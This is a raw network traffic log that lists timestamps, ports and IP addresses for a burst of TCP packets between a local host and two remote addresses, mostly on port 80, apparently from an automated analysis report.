Nov 1, 2024 08:51:47.708067894 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.708077908 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.708090067 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.708090067 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.708103895 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.708115101 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.708127022 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.708137035 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.708137989 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.708152056 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.708164930 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.708177090 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.708178043 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.708193064 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.708198071 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.708206892 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.708216906 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.708220959 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.708261013 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.720269918 CET	443	57873	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:47.720344067 CET	57873	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:47.722121954 CET	57873	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:47.722129107 CET	443	57873	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:47.722374916 CET	443	57873	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:47.781193972 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781208992 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781258106 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.781302929 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781312943 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781347036 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781351089 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.781357050 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781395912 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.781399965 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781413078 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781423092 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781451941 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.781474113 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.781522036 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781533957 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781543970 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781579018 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.781663895 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781676054 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781687021 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781723976 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.781765938 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.781769991 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781781912 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781793118 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781804085 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781816006 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.781821012 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.781847954 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.784615993 CET	57873	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:47.784641027 CET	57873	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:47.784775972 CET	443	57873	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:47.822875977 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.822897911 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.822907925 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.822925091 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.822948933 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823033094 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823066950 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823076963 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823097944 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823113918 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823113918 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823127031 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823137045 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823144913 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823156118 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823158026 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823169947 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823180914 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823195934 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823214054 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823252916 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823265076 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823275089 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823281050 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823290110 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823327065 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823339939 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823400974 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823411942 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823426962 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823436975 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823446989 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823455095 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823457956 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823462009 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823468924 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823481083 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823491096 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823492050 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823503017 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823513031 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823514938 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823530912 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823532104 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823559999 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823585987 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823596954 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823606968 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823617935 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823625088 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823631048 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823642015 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823642969 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823652983 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823668957 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823688984 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823764086 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823775053 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823786020 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823810101 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823820114 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823831081 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823841095 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823849916 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823856115 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823862076 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823877096 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823878050 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823895931 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823905945 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823914051 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823925018 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823935032 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823945045 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823961020 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.823980093 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.823992014 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824026108 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824028969 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824064970 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824095011 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824104071 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824151039 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824163914 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824174881 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824186087 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824220896 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824292898 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824304104 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824317932 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824347973 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824366093 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824377060 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824387074 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824404001 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824415922 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824419022 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824426889 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824438095 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824440002 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824450970 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824460030 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824500084 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824527025 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824552059 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824563026 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824601889 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824625015 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824636936 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824671984 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824758053 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824769974 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824779987 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824796915 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824824095 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824884892 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824896097 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824913025 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824923992 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824934006 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824937105 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824949026 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824959993 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824963093 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824981928 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.824990988 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.824995041 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.825026989 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.898247957 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898269892 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898318052 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.898364067 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898375988 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898386955 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898396969 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.898422003 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.898447990 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898458004 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898478985 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898489952 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898504019 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.898507118 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898516893 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898525000 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.898564100 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.898567915 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898576975 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898608923 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.898760080 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898768902 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898777962 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898788929 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898799896 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898804903 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.898816109 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.898854017 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.899013996 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.899024010 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.899034977 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.899074078 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.939677954 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.939775944 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.939785957 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.939796925 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.939802885 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.939830065 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.939846039 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.939857006 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.939872980 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.939872980 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.939887047 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.939903975 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.939913988 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.939929962 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.939938068 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.939951897 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.939958096 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.939964056 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.939969063 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940022945 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940046072 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940062046 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940072060 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940099955 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940102100 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940110922 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940121889 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940169096 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940211058 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940221071 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940236092 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940247059 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940257072 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940285921 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940319061 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940337896 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940347910 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940356970 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940382004 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940395117 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940411091 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940423012 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940433979 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940462112 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940469027 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940473080 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940484047 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940502882 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940530062 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940690994 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940711975 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940722942 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940732956 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940743923 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940748930 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940762043 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940762043 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940772057 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940783978 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940809965 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940825939 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940841913 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940850973 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940851927 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940859079 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940869093 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940898895 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940937042 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.940960884 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940970898 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.940979958 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941003084 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941015959 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941111088 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941123009 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941132069 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941142082 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941153049 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941176891 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941188097 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941204071 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941214085 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941225052 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941247940 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941276073 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941287994 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941297054 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941299915 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941317081 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941342115 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941397905 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941409111 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941417933 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941430092 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941441059 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941441059 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941495895 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941518068 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941526890 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941564083 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941589117 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941598892 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941610098 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941618919 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941629887 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941641092 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941663980 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941701889 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941713095 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941724062 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941771984 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941777945 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941788912 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941812038 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941822052 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941832066 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941832066 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941858053 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941869020 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941905975 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941916943 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941921949 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941946983 CET	80	57863	185.215.113.16	192.168.2.4
